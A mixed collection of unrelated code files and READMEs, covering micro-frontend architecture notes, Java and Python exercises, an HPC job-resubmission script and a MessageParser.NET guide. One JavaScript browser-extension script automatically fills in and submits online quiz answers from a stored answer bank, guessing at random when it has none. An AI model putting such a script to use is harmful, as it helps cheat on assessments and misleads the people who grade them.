EventArgs e) { _richTextBoxFromYa.Text = String.Empty; ChangeState(State.Busy); try { //получаем данные из БД и отображаем их ShowItems(await _data.GetItems(), "Не удалось получить записи из БД."); } finally { ChangeState(State.Free); } } /// <summary> /// Отображение записей /// </summary> /// <param name="items"></param> /// <param name="errorMessage"></param> private void ShowItems(List<RssItem> items, string errorMessage) { //если что-то есть if (items.Any()) { //отображаем foreach (var item in items) { this._richTextBoxFromYa.AppendText(item.ToString()); this._richTextBoxFromYa.AppendText(Environment.NewLine); this._richTextBoxFromYa.AppendText(Environment.NewLine); } } else { MessageBox.Show(errorMessage); } } /// <summary> /// Вкл./Выкл. кнопок /// </summary> /// <param name="state"></param> private void ChangeState(State state) { switch (state) { case State.Busy: _buttonGet.Enabled = false; _buttonClear.Enabled = false; _buttonBD.Enabled = false; break; case State.Free: _buttonGet.Enabled = true; _buttonClear.Enabled = true; _buttonBD.Enabled = true; break; } } } }
Markdown
UTF-8
9,848
3.15625
3
[ "MIT" ]
permissive
# 10-微前端架构 ## 一 大型项目迭代问题 对公共逻辑的抽象是软件工程不可绕开的话题,前端也不例外。在前端开发中,组件抽取、公共模块抽取是最常见的业务解耦方式。随着企业业务的发展,这些抽象的模块可能需要运用到许多不同的工程中,这就需要考虑如何组织、使用这些技术积累。 我们通常采取的技术方案是:将公共模块打包为 npm 包,在各个项目、模块中导入使用,但这很容易带来以下缺点: - (1)发布效率不高:如果公共模块的逻辑出现变化,需要重新打包、发版,使用该模块的项目都要进行更新。若 npm 包内涉及的业务较多,就会让维护该包的精力不断放大。 - (2)多团队协作不规范:不同团队的 npm 包容易出现不同包规范不同现象。 ## 二 微前端架构的引入 ### 2.1 微前端解决迭代问题思路 我们现在面临的问题是:工程相当庞大,引入模块很多;不同工程使用的技术栈也千差万别。这样的项目、工程在迭代上需要支出的额外成本相当庞大。 微前端的主要目的就是让不同工程在迭代阶段解耦,所有的工程都能独立迭代,互不干涉,即使这些工程在一个页面中都被使用到,也能够独立交付。 微前端的实现思路:将前端应用分解成一些更小、更简单的能够独立开发、测试、部署的小块,而在用户看来仍然是内聚的单个产品。 ![微前端架构迭代思路](../images/zen/micro-01.svg) ### 2.2 微前端架构的特点 微前端架构只是一种由独立交付的多个前端应用组成整体的架构风格,并非具体实践,在理论上,该风格可以将庞大的整体拆成可控的小块,并明确它们之间的依赖关系,关键优势在于: - 代码的应用级解耦:微前端架构下的代码库倾向于更小/简单、更容易开发,避免模块间不合理的隐式耦合造成的复杂度上升。通过界定清晰的应用边界来降低意外耦合的可能性,增加子应用间逻辑耦合的成本,促使开发者明确数据和事件在应用程序中的流向。 - 增量升级:微前端架构可以让新旧代码和谐共存,再逐步转化旧代码,直到整个重构完成 - 独立部署:每个微前端都应具备有自己的持续交付流水线(包括构建、测试并部署到生产环境),并且要能独立部署,不必过多考虑其它代码库和交付流水线的当前状态。 - 团队自治:由不同团队各自负责一块产品功能从构思到发布的整个过程,团队能够完全拥有为客户提供价值所需的一切,从而快速高效地运转 ![微前端架构迭代思路](../images/zen/micro-02.svg) ### 2.3 微前端架构应用场景 这里需要区分微前端与微服务的理解方式:微前端主要目的是聚合,即将不同子系统聚合成一个大系统,而微服务架构目前更多是解耦,即解耦不同服务间的依赖。 所以当一个工程采用了多种技术栈,内部引入了多个项目,需要将其聚合时,且依然能实现增量开发时,微前端架构是最好的选择。 ## 三 微前端架构中面临的技术问题 ### 3.0 微前端需要解决的关键问题 微前端需要解决的关键问题: - 子应用集成问题 - 子应用隔离方案 - 子应用间通信问题 微前端常见技术问题如图所示: ![微前端架构迭代思路](../images/zen/micro-03.svg) ### 3.1 子应用集成问题 集成方式分为 3 类: - 服务端集成:如 SSR 拼装模板 - 构建时集成:如 Code Splitting - 运行时集成:如通过 iframe、JS、Web Components 等方式 在实践中我们看到,基座模式的子应用通过容器进行集成、加载,模块联邦模式采用 webpack 工具进行注入。他们互有利弊,整体而言,笔者偏向后者。 ### 3.2 子应用隔离方案 子应用之间,以及子应用与主应用间的样式、作用域隔离是必须要考虑的问题,常见解决方案如下: - 样式隔离:开发规范(如 BEM)、CSS 预处理(如 SASS)、模块定义(如 CSS Module)、用 JS 来写(CSS-in-JS)、以及 shadow DOM 特性 - 作用域隔离:各种模块定义(如 ES Module、AMD、Common Module、UMD) ### 3.3 子应用间通信问题 通过自定义事件间接通信是一种避免直接耦合的常用方式,此外,React 的单向数据流模型也能让依赖关系更加明确,对应到微前端中,从容器应用向子应用传递数据与回调函数 另外,路由参数除了能用于分享、书签等场景外,也可以作为一种通信手段,并且具有诸多优势: - 其结构遵从定义明确的开放标准 - 页面级共享,能够全局访问 - 长度限制促使只传递必要的少量数据 - 面向用户的,有助于依照领域建模 - 声明式的,语义上更通用("this is where we are", rather than "please do this thing") - 迫使子应用之间间接通信,而不直接依赖对方 原则上,无论采用哪种方式,都应该尽可能减少子应用间的通信,以避免大量弱依赖造成的强耦合。 ## 四 微前端架构实践 ### 4.1 自由组织模式 > 自由组织模式:使用过基础模块框架构架符合业务需求的自建微前端模式。 常见的基础模块框架是 SystemJS,该库用于实现一个不同于 CMD/ESModule 的模块化规范,不过通过 webpack 可以将 ES 模块转化为支持 SystemJS 的模块。 webpack 中使用方式如下所示: ```js module.exports = { // 其他配置 // 打包格式 output: { libraryTarget: 'system', }, // 引入的库需要忽略,采用 systemjs 方式引入 externals: ['react', 'react-dom', 'react-router-dom'], } ``` react 中使用 SystemJS 示例: ```html <html> <head> <script type="systemjs-importmap"> { "imports": { "react": "./libs/react.min.js", "react-dom": "./libs/react-dom.min.js", "react-router-dom": "./libs/react-router-dom.min.js" } } </script> <script src="./libs/system.min.js"></script> </head> <body> <div id="root"></div> <script> System.import('./index.js') </script> </body> </html> ``` 由于该模式缺乏通信、隔离、加载方案,架构较为原始,一般不采用,而是在该框架基础上进行衍生,如:基座模式。 ### 4.2 基座模式(应用容器模式) > 基座模式:微前端的顶级父应用作为容器,子应用由容器来根据业务进行加载。 基座模式由于父容器的存在,很好的实现了应用的通讯问题,但是也随之带来了新问题:由于需要中心化的容器,项目接入成本高。 目前常见的基座模式实践有:single-spa、qiankun 等,其中大部分框架均基于 single-spa,包括 qiankun。 single-spa 支持三种微前端应用: - parcel:常见的多子应用架构,可以使用 vue、react、angular 等多种框架进行开发 - root-config:用于创建微前端容器应用 - utility modules:公共模块应用,用于跨应用共享 js 逻辑的微应用。 singel-spa 的整个基座: ```html <html> <head> </head> <body> <div id="root"></div> <script> System.import('@demo/root-config') </script> <import-map-overrides-full show-when-local-storage="devtolls" dev-libs ></import-map-overrides-full> </body> </html> ``` 在基座中配置子应用: ```js // demo-root-config.js import { registerApplication, start } from 'single-spa' registerApplication({ name: '@demo/demo1', app: () => { System.import('./dist/demo1.js') }, activeWhen: ['/'], }) ``` ### 4.3 去中心化模式(模块联邦) > 模块联邦:为了解决基座模式中引入容器造成的中心化耦合问题,webpack5 中引入了模块联邦的功能,一个应用可以导出、导入任意的模块。 模块联邦原理图: ![微前端架构迭代思路](../images/zen/micro-04.svg) ## 五 webpack5 中的模块联邦使用实践 使用模块联邦导出模块: ```js const MFP = require('webpack').container.ModuleFederationPlugin modules.exports = { plugins: { new MFP({ name: 'microApp', // 微应用名字,类似 single-spa 的组织名 filename: 'user.js', // 对外提供的打包文件 // 导出多个组件:key 为导入者使用名,value 为导出的文件路径 exposes: { './infoComponent': './src/components/info.js', './iconComponent': './src/components/icon.js' } }) } } ``` 在其他项目使用模块联邦引入模块: ```js const MFP = require('webpack').container.ModuleFederationPlugin modules.exports = { plugins: { new MFP({ name: 'roots', remotes: { // 固定写法:微应用名 @ webpack 服务地址 导出的 filename microUser: 'microApp@http://localhost:3001/user.js', } }) } } ``` 在 React 项目中具体使用该模块(注意是异步的): ```js const Info = React.lazy(() => import('microUser/infoComponent')) const Icon = React.lazy(() => import('microUser/iconComponent')) const App = > () => { return ( <div> <React.Suspense fallback='loading'> <Icon /> <Info /> </React.Suspense> </div> ) } ``` 在 Vue 项目总具体使用该模块 (同样需要是异步): ```js import { defineAsyncComponent } from 'vue' const Info = defineAsyncComponent(() => import('microUser/infoComponent')) ```
JavaScript
UTF-8
5,392
3.21875
3
[]
no_license
// function form_ansobj(node) // { // let inps = node.querySelectorAll("input"); // let inp; // for (let inp_node of inps) // if (inp_node.type != "hidden") // { // inp = inp_node; // break; // } // let ans_obj = { input : inp }; // let label = node.querySelector("label"); // if (label.childElementCount == 0) // test ans // { // ans_obj["caption"] = label.innerText.trim(); // } // else if (label.childElementCount == 1) // single image // { // ans_obj["caption"] = label.firstElementChild.src; // } // else // { // alert("UNKNOWN ANS STRUCT"); // } // return ans_obj; // } // function parse_answers() // { // let generic_nodes = document.querySelector(".answer").children; // let answers_objlst = { lst : [], type : "" }; // for (let node of generic_nodes) // { // answers_objlst.lst.push(form_ansobj(node)); // } // if (answers_objlst.lst[0].input.type == "radio") // { // answers_objlst.type = "single"; // } // else if (answers_objlst.lst[0].input.type == "checkbox") // { // answers_objlst.type = "multiple"; // } // else // { // alert("UNKNOWN INPUT TYPE " + answers_objlst.lst[0].input.type); // } // return answers_objlst; // } const is_empty_obj = (obj) => Object.keys(obj).length === 0 && obj.constructor === Object; function edit_src(src_str) { return src_str.split('/').slice(-2).join(''); } function get_generic_ans(label) // image or text as answer option. for single and multiple { let caption = label.innerText.trim(); for (let chpart of label.children) { if (chpart.nodeName == "IMG") { caption += edit_src(chpart.src); } else if (chpart.nodeName == "SPAN") // skip pbly continue else { console.log("ERROR:", label); alert("UNKNOWN ANS NODE" + chpart.nodeName); } } return caption; } // ans_obj = { input : <ie input el>, caption : <any answer caption> } // answers = { lst : [ans_obj...], type = <type> } function parse_single() { let ans_node = document.querySelector(".answer"); let answers_obj = { lst : [], type : "single" }; for (let opt_node of ans_node.children) { let ans_obj = { input : opt_node.querySelector("input"), caption : get_generic_ans(opt_node.querySelector("label")) }; answers_obj.lst.push(ans_obj); } return answers_obj; } function parse_multiple() { let ans_node = document.querySelector(".answer"); let answers_obj = { lst : [], type : "multiple" }; for (let opt_node of ans_node.children) { let ans_obj = { input : opt_node.querySelector("input[type=checkbox]"), caption : get_generic_ans(opt_node.querySelector("label")) }; answers_obj.lst.push(ans_obj); } return answers_obj; } function parse_text() { let ans_node = document.querySelector(".answer"); let answers_obj = { lst : [], type : "text" }; let ans_obj = { input : ans_node.firstElementChild, caption : "" } answers_obj.lst.push(ans_obj); return answers_obj; } function parse_answers() { let ans_node = document.querySelector(".answer"); let inps = ans_node.querySelectorAll("input"); let inp; for (let inp_node of inps) if (inp_node.type != "hidden") { inp = inp_node; break; } if (inp.type == "radio") return parse_single(); else if (inp.type == "checkbox") return parse_multiple(); else if (inp.type == "text") return parse_text(); else alert("UNKNOWN TYPE " + inp.type); } function check_ans(ans) { let answers = parse_answers(); console.log(answers, ans); if (!ans) { if (answers.type == "single") { answers.lst[0].input.checked = true; } else if (answers.type == "multiple") { answers.lst.forEach(e => e.input.checked = true); } else if (answers.type == "text") { answers.lst[0].input.value = String(parseInt(Math.random() * 1000)); } else { alert("UNKNOWN ANS TYPE " + answers.type); } } else { if (answers.type == "single") { for (let answer_obj of answers.lst) if (ans.includes(answer_obj.caption)) { answer_obj.input.checked = true; break; } } else if (answers.type == "multiple") { for (let answer_obj of answers.lst) if (ans.includes(answer_obj.caption)) answer_obj.input.checked = true; } else if (answers.type == "text") { answers.lst[0].input.value = ans; } else { alert("UNKNOWN ANS TYPE " + answers.type); } } // document.querySelector("#responseform").requestSubmit(); document.querySelector("[name=next]").click(); } function ask_db(id, q, callback) { chrome.storage.local.get(id, (db_lst) => { callback(db_lst[id][q]); }); } function get_q(root) { let q = ""; for (let node of root.querySelector(".qtext").children) { if (node.nodeName == "P") { q += node.innerText.trim(); if (node.childElementCount > 0) // images in { for (let chpart of node.children) { if (chpart.nodeName == "IMG") q += edit_src(chpart.src); else if (chpart.nodeName == "I" || chpart.nodeName == "BR" || chpart.nodeName == "U") continue; else { console.log("ERROR:", node); alert("UNKNOWN QUESTION PART"); } } } } else { alert("UNKNOWN NODE TYPE " + node.nodeName); } } console.log(q); return q; } function main() { const get_id = () => sessionStorage.getItem("id"); ask_db(get_id(), get_q(document), check_ans); } main();
Java
UTF-8
3,142
3.46875
3
[]
no_license
import com.vehicles.project.Car; import com.vehicles.project.Wheel; import java.util.ArrayList; import java.util.List; import java.util.Scanner; import java.util.regex.Matcher; import java.util.regex.Pattern; public class Main { public static void main (String[] args) { /* Request the car information */ System.out.println("Por favor ingrese los siguientes datos de su coche:"); /* Create the car */ Car coche = new Car(getCarDetails ( "Matricula" ), getCarDetails ( "Marca" ), getCarDetails ( "Color" )); /* Add the wheels to the car */ try { coche.addWheels(addWheelsInfo("Delanteras"), addWheelsInfo("Traseras")); } catch (Exception e) { //e.printStackTrace(); System.out.println("Ha habido un problema agregando las ruedas"); System.out.println(e.getMessage()); } } /* Ask for the car details */ private static String getCarDetails ( String detail ) { /* Create the Scanner object */ Scanner sc = new Scanner(System.in); System.out.print(detail + ": "); String info = sc.nextLine(); /* Validate data */ if ( detail == "Matricula") { String re = "\\d{4}\\w{2,3}"; /* Regular expression */ Pattern pt = Pattern.compile(re); /* Compiles the regular expression into a pattern */ Matcher mt = pt.matcher(info); /* Looks for matches */ if ( ! ( mt.matches() ) ) { System.out.println("La matricula no cumple con el patrón de 4 números y 2 o 3 letras."); info = getCarDetails ( detail ); } } return info; } /* Ask the information of the wheels depending on the location */ private static List<Wheel> addWheelsInfo (String wheelLocation ) { /* Create the Scanner object */ Scanner sc = new Scanner(System.in); /* Prepare variables for Wheel information */ String brand; String lado; double diameter = 0; List<Wheel> WheelsList = new ArrayList<>(); System.out.println("Por favor ingrese los datos de las ruedas " + wheelLocation + ":"); System.out.print("Marca: "); brand = sc.nextLine(); sc.close(); /* Get the diameter of the wheel */ boolean valueNotOk = true; do { try { System.out.print("Diametro: "); diameter = Double.parseDouble(sc.nextLine()); sc.close(); /* Validate Diameter */ if ( diameter < 0.4 || diameter > 4 ) { throw ( new Exception()); } valueNotOk = false; } catch (Exception e) { //e.printStackTrace(); System.out.println("Ingrese un número valido entre 0.4 y 4."); } } while ( valueNotOk ); WheelsList.add( new Wheel( brand, diameter ) ); WheelsList.add( new Wheel( brand, diameter ) ); return WheelsList; } }
Java
UTF-8
1,240
1.820313
2
[]
no_license
package com.yd.ydbi.cainiao.service.impl; import java.util.List; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.yd.common.runtime.CIPRuntime; import com.yd.ydbi.cainiao.dao.Cn_compst_scorMapper; import com.yd.ydbi.cainiao.model.Cn_compst_scor; import com.yd.ydbi.cainiao.service.Cn_compst_scorService; /** * * 菜鸟信息维护业务处理实现类. <br/> * * @date:2017-08-07 10:09:29 <br/> * @author 康元佳 * @version: * @since:JDK 1.7 */ @Service public class Cn_compst_scorServiceImpl implements Cn_compst_scorService { @Autowired private Cn_compst_scorMapper cn_compst_scorMapper; @Override public List<Cn_compst_scor> searchData(Map<String, Object> paramsMap) { return cn_compst_scorMapper.searchData(paramsMap); } @Override public List<Cn_compst_scor> searchFooterData(Map<String, Object> paramsMap) { return cn_compst_scorMapper.searchFooterData(paramsMap); } @Override public int addData(Map<String, Object> paramsMap) { return cn_compst_scorMapper.addData(paramsMap); } @Override public int updateData(Map<String, Object> paramsMap) { return cn_compst_scorMapper.updateData(paramsMap); } }
Markdown
UTF-8
787
2.953125
3
[]
no_license
# Prediction_using_Supervised_learning Predicting the percentage of an student based on the no. of study hours. THE-SPARKS-FOUNDATION-TASKS This repository contains the tasks that I have completed while working as Data Science & Business Analyst Intern for The Sparks Foundation. 🔭Internship Category - Data Science and Business Analytics 🌐Internship Type - Remote Task-1 : Prediction using Supervised ML (Level - Beginner) • Predict the percentage of marks of an student based on the number of study hours. • This is a simple linear regression task as it involves just 2 variables. • Data can be found at: http://bit.ly/w-data • You can use R, Python, SAS Enterprise Miner or any other tool. • What will be predicted score if a student studies for 9.25 hrs/ day?
Python
UTF-8
4,261
3.375
3
[]
no_license
SCENE1 = 'scene1' SCENE2 = 'scene2' SCENE3 = 'scene3' SCENE4 = 'scene4' SCENE5 = 'scene5' SCENE6 = 'scene6' SCENE7 = 'scene7' SCENE8 = 'scene8' SCENE9 = 'scene9' scenes = {SCENE1 : ("Mooky is bored. Then he has an idea! He will go skiing. He grabs his ski stuff and drives to the nearest ski place, Mooker Woods. He starts to put his ski stuff on. He goes to get his skis, But he can't find them. Oh No! Where are his skis? What should he do?", 'images/mooky-stem-2.jpg', (('a. Go search for skis', SCENE2), ('b. Go buy skis', SCENE3))), SCENE2 : ('Mooky decides to search for his skis. Where should he start searching?', 'images/mooky-stem-1.jpg', (('a. The mountain', SCENE4), ('b. The base lodge', SCENE5)) ), SCENE3 : (' Mooky walks into the ski and snowboard shop. He looks around. He sees the ski section. Oh No! The skis have sold out! Mooky decides to search for his skis. Where should he start searching?', 'images/sad-mooky-stem.jpg', (('a. The mountain', SCENE4), ('b. The base lodge', SCENE5)) ), SCENE4 : (' Mooky looked down the slope. Skiers and snow boarders rushed past him. Suddenly he spotted a pair of skis just like his! " Hey!" he shouted. The skier turned his head. When he noticed Mooky he froze, then took off. " Hey" shouted Mooky again as he chased the skier down a side trail. The skier disappeared as he turned a corner. Mooky skidded around the corner and came to a halt. The trail split into two paths. Which should he take?', 'images/mooky-stem-5.jpg', (('a. The left path', SCENE6), ('b. The right path', SCENE7)) ), SCENE5 : ('Mooky entered the base lodge and looked around. It was crowded. Mooky started checking under tables and peeking in cubbies. He asked a passing mooky. " Have you seen a pair of red skis?" " No, sorry." he replied. Mooky sat down frustrated. He sighed. Where should he search next?', 'images/mooky-stem-4.jpg', (('a. The mountain', SCENE4), ('b. The forest', SCENE8)) ), SCENE6 : (' Mooky runs down the left path. He feels like he ran a mile before reaching a dead end. Exhausted from his run, Mooky collapses into the snow. What should he do now?', 'images/mooky-stem-7.jpg', (('a. Give up', SCENE9), ('b. Go back', SCENE4)) ), SCENE7 : (' Mooky barrels down the right path. As he turns a corner the skier with his skis comes into view. Mooky takes a flying leap and tackles him to the ground. He accidently knocks off the skiers helmet revealing his face. " Ducky!?" cries Mooky. Ducky smiles guiltily. " Do not dare smile!" shouts Mooky angrily. " spent a lot of time looking for those skis!" Ducky looks scared. Mooky tries to control his anger. " Why did you steal my skis?" Mooky asks. " Well," says Ducky." My mother saw on TV a horrific accident that happened to a skier, So she does not let me ski now. But I like skiing, So I stole your skis so I could ski." " Okay." said Mooky as he clambered off Ducky. " But I need my skis back. Maybe you could talk to your mom about it. She might understand." " Okay," answered Ducky as he hande Mooky his skis. " Thank You!" Mooky called as he skied away, excited for a fun day of skiing. The End.', 'images/mooky-stem-6.jpg', (('a. Play Again', SCENE1), ) ), SCENE8 : (' The snow crunched under Mookys feet as he trudged through the forest looking left and right. As far as he could tell, no one was there but him. He had only one more place to look, the mountain.', 'images/mooky-stem-3.jpg', (('a. The mountain', SCENE4), ) ), SCENE9 : (' Mooky dragged his feet as he trudged into the base lodge. He sighed, gathered up his stuff, and drove home. He would never see those red skis again.', 'images/sad-mooky-stem.jpg', (('a. Restart', SCENE1), ) ) } def get_first_scene(): return scenes[SCENE1] def get_scene(scene): return scenes[scene]
Java
UTF-8
674
3.734375
4
[]
no_license
package com.hillel; import java.util.Scanner; public class ArrayConsole{ public static void main(String[] args) { Scanner scanner = new Scanner(System.in); int n; do{ System.out.print("Enter N elements of array(>1): "); n = scanner.nextInt(); }while(n < 2); int[] array = new int[n]; for(int i = 0; i < array.length; i++){ System.out.print("Enter element # " + i + ": "); array[i] = scanner.nextInt(); } System.out.print("Your array: "); for(int i = 0; i < array.length; i++){ System.out.print(array[i] + " "); } } }
Python
UTF-8
192
4.15625
4
[]
no_license
''' Write a program to calculate the factorial of a given number. Input: 5 Output: The Factorial of 5 is: 120 ''' fact=1 n=int(input("Input:")) for i in range(1,n+1): fact=fact*i print(fact)
Shell
UTF-8
3,083
2.65625
3
[ "MIT" ]
permissive
if [ -z ${century+x} ]; then century=$1; fi if [ -z ${decade+x} ]; then decade=$2; fi if [ -z ${year+x} ]; then year=$3; fi #century=19 #decade=99 #year=1999 cd EastCoast/release_locations/ numfiles=(*) numfiles=${#numfiles[@]} cd #rm -rfv go.sh.* #rm -rfv run.sh.* #rm -rfv run_sub.sh.* #rm -rfv /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year #rm -rfv /sb/project/uxb-461-aa/Cuke-MPA/output/E$year again=false for t in {152..212} #for t in {152..153} do #for i in {80..82} for i in `eval echo {1..$numfiles}` do cd /sb/project/uxb-461-aa/Cuke-MPA/output/E$year/$[t]/$[i]/ n=(*) n=${#n[@]} cd if [ $n != "121" ] ; then again=true rm -rf /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i] rm -rf /sb/project/uxb-461-aa/Cuke-MPA/output/E$year/$[t]/$[i] mkdir -p /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i] mkdir -p /sb/project/uxb-461-aa/Cuke-MPA/output/E$year/$[t]/$[i] cp EastCoast/* /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/ rm -rf /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/release_locations.txt cp EastCoast/release_locations/rl_$i.txt /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/release_locations.txt sed -i -e "s/timetobereplaced/$t/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/run_sub.sh sed -i -e "s/celltobereplaced/$i/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/run_sub.sh sed -i -e "s/grid/E$year/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/run_sub.sh mv /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/run_sub.sh /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/run_sub_$year.sh #sed -i -e "s/filenum = 1/filenum = $t/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data module load R/3.1.2 Rscript /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/lag.R $t $i $year sed -i -e "s/outputtobereplaced/E$year/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data sed -i -e "s/timetobereplaced/$t/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data sed -i -e "s/celltobereplaced/$i/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data nparts=$(cat /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/release_locations.txt | wc -l) sed -i -e "s/99999999/$nparts/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data sed -i -e "s/yeartobereplaced/$year/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data sed -i -e "s/decadetobereplaced/$decade/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data #if [ $decade -ne 98 ] #then #sed -i -e "s/_gb_his_/_his_/g" /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i]/LTRANS.data #fi cd /sb/project/uxb-461-aa/Cuke-MPA/runs/E$year/$[t]/$[i] qsub -A uxb-461-aa run_sub_$year.sh cd echo "day $t bin $i is missing files" fi done done if $again ; then dt=$(date --date="+1 day" '+%m%d%H%M') qsub -a $dt -A uxb-461-aa go_east.sh -v century=$century -v decade=$decade -v year=$year fi
Markdown
UTF-8
12,871
2.859375
3
[]
no_license
# MessageParser.NET MessageParser.NET Is Simple Mesage Parser For XML,ISO 8583,EXCEL,JSON,Batch File Nuget Url: http://www.nuget.org/packages/MessageParser.NET/ EXCEL: MessageParser.NET.Tools.ExcelParser excel = new MessageParser.NET.Tools.ExcelParser(@"E:\Path\ExcelFile.xlsx"); var temp = excel.GetWorksheet(1); excel.AddColumn(temp, "test"); excel.AddData(temp, "test", "123"); excel.AddRangeColumn(temp, new string[] { "t1", "t2", "t3" }); excel.Save(); OR FileStream fs = new FileStream(@"E:\other\book.xlsx", FileMode.OpenOrCreate, FileAccess.ReadWrite); byte[] buf = new byte[fs.Length]; fs.Read(buf, 0, buf.Length); fs.Close(); MessageParser.NET.Tools.ExcelParser excel = new MessageParser.NET.Tools.ExcelParser(buf); excel.CreateNewSheet("sheetName"); excel.CreateNewSheet("sheetName2"); var a = excel.GetWorksheet(2); excel.AddColumn(a, "test"); excel.AddData(a, "test", "123"); excel.AddRangeColumn(a, new string[] { "t1", "t2", "t3" }); excel.Save(@"E:\other\book2.xlsx"); XML: string raw = @"<bookstore> <book genre='autobiography' publicationdate='1981-03-22' ISBN='1-861003-11-0'> <title>The Autobiography of Benjamin Franklin</title> <author> <first-name>Benjamin</first-name> <last-name>Franklin</last-name> </author> <price>8.99</price> </book> </bookstore>"; MessageParser.NET.Tools.XmlParser xml = new MessageParser.NET.Tools.XmlParser(); var temp1 = xml.GetAllElements(raw); var temp2 = xml.GetAllText(raw); var temp3 = xml.GetAttributeValue(raw, "book", "genre"); OR: String xmlString = @"<?xml version='1.0' encoding='utf - 8'?> <Card xmlns:Card = '1234' > <item y='12' x='23'> <a></a> <b></b> <a></a> </item> <item2 x = 'abc' ></item2> <item y='1' x='2'> <a></a> </item> <a y='1'></a> </Card> "; var s = xml.SetAttribute(xmlString, "item", "a","val" ,"yes"); //OutPut: /* <? xml version = '1.0' encoding = 'utf - 8' ?> < Card xmlns:Card = "1234" > < item y = "12" x = "23" > < a val = "yes" ></ a > < b ></ b > < a val = "yes" ></ a > </ item > < item2 x = "abc" ></ item2 > < item y = "1" x = "2" > < a val = "yes" ></ a > </ item > < a y = "1" ></ a > </ Card > */ //OR: var temp4 = xml.SetElementText(xmlString,"a","new 123 val"); /*Out Put: <?xml version='1.0' encoding='utf - 8'?> <Card xmlns:Card = '1234' > <item y='12' x='23'> <a >new 123 val</a> <b></b> <a>new 123 val</a> </item> <item2 x = 'abc' ></item2> <item y='1' x='2'> <a>new 123 val</a> </item> <a y='1'>new 123 val</a> </Card>*/ JSON: student[] stu = new student[3]; stu[0] = new student { id = 1, name = "a" }; stu[1] = new student { id = 2, name = "b" }; stu[2] = new student { id = 3, name = "c" }; var jsonPack = JsonTools.Serialize<student[]>(stu); var myObject = JsonTools.Deserialize<student[]>(jsonPack); [Serializable] [System.Runtime.Serialization.DataContract] class student { [System.Runtime.Serialization.DataMember] public int id { get; set; } [System.Runtime.Serialization.DataMember] public string name { get; set; } } ISO8583: MessageParser.NET.Tools.ISO8583 iso = new MessageParser.NET.Tools.ISO8583(); string[] data = iso.Parse("080020200000008000000000000000013239313130303031"); Console.WriteLine(data[(int)MessageParser.NET.Tools.ISO8583.FieldUsage.CardAcceptorTerminalIdentification]); OR: string MTI = "0200"; string PAN = "62737105152193654"; string ProCode = "001000"; string Amount = "20000"; string DateTime = "0239501820"; string STAN = "456"; string TID = "44449999"; string POSEM = "02"; string[] DE = new string[130]; DE[2] = PAN; DE[3] = ProCode; DE[4] = Amount; DE[7] = DateTime; DE[11] = STAN; DE[22] = POSEM; DE[41] = TID; string NewISOmsg = iso.Build(DE, MTI); Patterns: string txt = @" hi my name is alireza. this is a test value for messageparser.net. messageparser.net can detect date value in the txt like (persian date:1394-01-01). or detect Geo position like this (21.422530, 39.826178). or mail address like (test123@any.com,t4t@test.com|t5t@any.ir). or url like (https://www.nuget.org/profiles/AlirezaP , https://github.com/alirezaP/). or currency like ($1,000or$125,100)."; MessageParser.NET.Tools.Patterns pattern = new MessageParser.NET.Tools.Patterns(); string[] Mail = pattern.GetMails(txt); string[] Currency = pattern.GetCurrency(txt); string[] Date = pattern.GetDate(txt); string[] Url = pattern.GetUrl(txt); string[] Position = pattern.GetPosition(txt); Console.WriteLine("all mail address in the txt:"); foreach (string t in Mail) { Console.WriteLine(t); } Console.WriteLine("all Currency in the txt:"); foreach (string t in Currency) { Console.WriteLine(t); } Console.WriteLine("all Date in the txt:"); foreach (string t in Date) { Console.WriteLine(t); } Console.WriteLine("all Url in the txt:"); foreach (string t in Url) { Console.WriteLine(t); } Console.WriteLine("all Position in the txt:"); foreach (string t in Position) { Console.WriteLine(t); } Batch Parser:<br/> assume we have a txt file with this name "data.txt".<br/> "data.txt":<br/> [alireza,p,0010000000,24,http://github.com/alirezap][ali,pa,0010000230,25,http://nuget.org/alirezap] first you must create a xml file (syntax) for example:<br/> "syntax.xml":<br/> <?xml version="1.0" encoding="UTF-8"?> <body> <syntax> <record StartWith="[" EndWith="]"/> </syntax> <content> <FIELD1 ID="1" Type="string" Title="name" TERMINATOR=","/> <FIELD2 ID="2" Type="string" Title="lastname" TERMINATOR=","/> <FIELD3 ID="3" Type="string" Title="shenasname" TERMINATOR=","/> <FIELD4 ID="4" Type="int" Title="age" TERMINATOR=","/> <FIELD5 ID="5" Type="string" Title="url" TERMINATOR="]"/> </content> </body> if records has a boundary you must set that in "StartWith" and "EndWith" attribute in the record element. <br/> in this sample our record is between "[" and "]". ([record]) --> ([alireza,p,0010000000,24,http://github.com/alirezap]).<br/> so record should be : <br/> <record StartWith="[" EndWith="]"/>. <br/> for next step you must set fields info in syntax file. for example each record in the "data.txt" has 5 section (name,lastname,id,age,url)<br/> so content element should be has 5 field (FIELD1,FIELD2,FIELD3,FIELD4,FIELD5).<br/> each field has 5 property (ID,Type,Title,TERMINATOR,MAX_LENGTH)<br/> ID:<br/> is a unic for field 